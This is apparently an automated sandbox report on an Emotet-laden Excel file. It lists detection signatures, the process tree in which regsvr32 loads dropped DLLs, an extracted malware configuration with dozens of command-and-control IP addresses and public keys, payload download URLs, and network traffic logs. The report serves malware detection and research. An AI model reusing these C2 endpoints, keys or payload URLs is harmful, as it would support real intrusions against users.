Edit tour

Windows Analysis Report
4470_02112022.xls

Overview

General Information

Sample Name:	4470_02112022.xls
Analysis ID:	746417
MD5:	d3b182de8c99553a9f2b6d0f3f030a4f
SHA1:	d5bd989ffde2f67133b6404f9f234d13e618c206
SHA256:	cd99b899c5a3d6ddb22969605b079375da897362b4d599fc9eebb1e21115a31d
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Antivirus / Scanner detection for submitted sample

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Creates an autostart registry key pointing to binary in C:\Windows

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Outdated Microsoft Office dropper detected

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Drops files with a non-matching file extension (content does not match file extension)

Found inlined nop instructions (likely shell or obfuscated code)

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Connects to several IPs in different countries

Potential key logger detected (key state polling based)

Registers a DLL

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1152 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 316 cmdline: C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1292 cmdline: C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2192 cmdline: C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2352 cmdline: C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2688 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2300 cmdline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\XXKTOC\CASBb.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["218.38.121.17:443", "186.250.48.5:443", "80.211.107.116:8080", "174.138.33.49:7080", "165.22.254.236:8080", "185.148.169.10:8080", "62.171.178.147:8080", "128.199.217.206:443", "210.57.209.142:8080", "36.67.23.59:443", "160.16.143.191:8080", "128.199.242.164:8080", "178.238.225.252:8080", "118.98.72.86:443", "202.134.4.210:7080", "82.98.180.154:7080", "54.37.228.122:443", "64.227.55.231:8080", "195.77.239.39:8080", "103.254.12.236:7080", "103.85.95.4:8080", "178.62.112.199:8080", "83.229.80.93:8080", "114.79.130.68:443", "51.75.33.122:443", "139.196.72.155:8080", "188.165.79.151:443", "190.145.8.4:443", "196.44.98.190:8080", "198.199.70.22:8080", "103.56.149.105:8080", "104.244.79.94:443", "87.106.97.83:7080", "103.71.99.57:8080", "46.101.98.60:8080", "103.126.216.86:443", "103.224.241.74:8080", "37.44.244.177:8080", "85.214.67.203:8080", "202.28.34.99:8080", "175.126.176.79:8080", "85.25.120.45:8080", "93.104.209.107:8080", "103.41.204.169:8080", "78.47.204.80:443", "139.59.80.108:8080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0IMl9QmQAAIg=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW38h9QmQAAIg="]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.1211814809.00000000002C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1213054445.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1211606431.000000000017A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_3	Yara detected Emotet	Joe Security
00000008.00000002.942096747.00000000001C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1211620382.000000000021A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_3	Yara detected Emotet	Joe Security
00000009.00000002.1212856230.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1211836015.00000000002B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.regsvr32.exe.1c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.2c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.1c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.2b0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.2b0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.2c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 1 entries

Snort Signatures

ET CNC Feodo Tracker Reported CnC Server TCP group 15 - Source IP: 192.168.2.22 - Destination IP: 218.38.121.17

Timestamp:	192.168.2.22218.38.121.17491804432404328 11/15/22-12:44:34.987459
SID:	2404328
Source Port:	49180
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 4470_02112022.xls	ReversingLabs: Detection: 80%
Source: 4470_02112022.xls	Virustotal: Detection: 67%	Perma Link
Source: 4470_02112022.xls	Metadefender: Detection: 31%	Perma Link

Antivirus / Scanner detection for submitted sample

Source: 4470_02112022.xls

Avira: detected

Antivirus detection for URL or domain

Source: https://www.spinbalence.com/Adapter/moycMR/	Avira URL Cloud: Label: malware
Source: https://www.spinbalence.com/index.php?controller=404	Avira URL Cloud: Label: malware
Source: http://navylin.com/bsavxiv/axHQYKl/	Avira URL Cloud: Label: malware
Source: https://www.3d-stickers.com/page-non-trouvee	Avira URL Cloud: Label: malware
Source: http://www.spinbalence.com/Adapter/moycMR/	Avira URL Cloud: Label: malware
Source: http://www.3d-stickers.com/Content/Afa1PcRuxh/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: www.3d-stickers.com	Virustotal: Detection: 12%	Perma Link
Source: www.spinbalence.com	Virustotal: Detection: 12%	Perma Link
Source: navylin.com	Virustotal: Detection: 13%	Perma Link
Source: sat7ate.com	Virustotal: Detection: 14%	Perma Link
Source: http://navylin.com/bsavxiv/axHQYKl/	Virustotal: Detection: 22%	Perma Link
Source: https://www.3d-stickers.com/page-non-trouvee	Virustotal: Detection: 12%	Perma Link
Source: https://www.spinbalence.com/index.php?controller=404	Virustotal: Detection: 10%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll	ReversingLabs: Detection: 80%
Source: C:\Users\user\oxnv4.ooccxx	ReversingLabs: Detection: 80%
Source: C:\Windows\System32\XXKTOC\CASBb.dll (copy)	ReversingLabs: Detection: 80%

Source: 0000000A.00000002.1211606431.000000000017A000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Emotet {"C2 list": ["218.38.121.17:443", "186.250.48.5:443", "80.211.107.116:8080", "174.138.33.49:7080", "165.22.254.236:8080", "185.148.169.10:8080", "62.171.178.147:8080", "128.199.217.206:443", "210.57.209.142:8080", "36.67.23.59:443", "160.16.143.191:8080", "128.199.242.164:8080", "178.238.225.252:8080", "118.98.72.86:443", "202.134.4.210:7080", "82.98.180.154:7080", "54.37.228.122:443", "64.227.55.231:8080", "195.77.239.39:8080", "103.254.12.236:7080", "103.85.95.4:8080", "178.62.112.199:8080", "83.229.80.93:8080", "114.79.130.68:443", "51.75.33.122:443", "139.196.72.155:8080", "188.165.79.151:443", "190.145.8.4:443", "196.44.98.190:8080", "198.199.70.22:8080", "103.56.149.105:8080", "104.244.79.94:443", "87.106.97.83:7080", "103.71.99.57:8080", "46.101.98.60:8080", "103.126.216.86:443", "103.224.241.74:8080", "37.44.244.177:8080", "85.214.67.203:8080", "202.28.34.99:8080", "175.126.176.79:8080", "85.25.120.45:8080", "93.104.209.107:8080", "103.41.204.169:8080", "78.47.204.80:443", "139.59.80.108:8080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0IMl9QmQAAIg=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW38h9QmQAAIg="]}

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_100061AC CryptStringToBinaryA,CryptStringToBinaryA,

8_2_100061AC

Source: unknown	HTTPS traffic detected: 218.38.121.17:443 -> 192.168.2.22:49180 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 218.38.121.17:443 -> 192.168.2.22:49181 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 163.172.115.127:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 163.172.108.69:443 -> 192.168.2.22:49177 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800132FC FindNextFileW,FindFirstFileW,FindClose,		9_2_00000001800132FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800132FC FindNextFileW,FindFirstFileW,FindClose,		10_2_00000001800132FC

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 40hd04O0[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic	DNS query: name: sat7ate.com
Source: global traffic	DNS query: name: www.spinbalence.com
Source: global traffic	DNS query: name: www.3d-stickers.com
Source: global traffic	DNS query: name: navylin.com

Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then lea r8, qword ptr [000000001009B410h]	8_2_1003B380
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then lea rdx, qword ptr [000000001009C2C4h]	8_2_1003BC30
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov rax, qword ptr [rsi]	8_2_100520A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movzx eax, byte ptr [rdx]	8_2_10030280
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movzx eax, byte ptr [rdx]	8_2_10030280
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B340
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B438
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B4C9
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movzx eax, byte ptr [rcx+rdx]	8_2_1003A4F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movsxd rbx, qword ptr [r14+10h]	8_2_1002E500
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B56D
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B5C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then cmp dword ptr [rsp+rax*4+28h], edi	8_2_1004A5E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then cmp dword ptr [rsp+rcx*4+28h], ebx	8_2_1004A5E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov edx, dword ptr [rsp+r8*4+28h]	8_2_1004A5E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then cmp rcx, r8	8_2_1004A5E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B66E
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov al, bpl	8_2_100416F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B709
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B72E
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B79C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B7DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B814
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then sub r11, 01h	8_2_1004B901
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movzx eax, byte ptr [r8]	8_2_10046980
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov r8, rdi	8_2_100389D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movsxd rcx, qword ptr [r12+10h]	8_2_1002EA00
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov rax, r8	8_2_10037CB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movzx ecx, byte ptr [r10]	8_2_1004DCD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then lea rbx, qword ptr [rsp+70h]	8_2_1003DD80
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movsxd rax, rcx	8_2_10046D80
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then movzx ecx, byte ptr [r10]	8_2_1004DE00
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov r8d, ebx	8_2_1004DF10
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then mov eax, r10d	8_2_1004BFF0

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 163.172.115.127:80
Source: global traffic	TCP traffic: 163.172.115.127:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 163.172.115.127:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 163.172.115.127:80
Source: global traffic	TCP traffic: 163.172.115.127:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 163.172.115.127:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 163.172.115.127:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 163.172.115.127:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 163.172.108.69:80
Source: global traffic	TCP traffic: 163.172.108.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 163.172.108.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 163.172.108.69:80
Source: global traffic	TCP traffic: 163.172.108.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 163.172.108.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 163.172.108.69:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
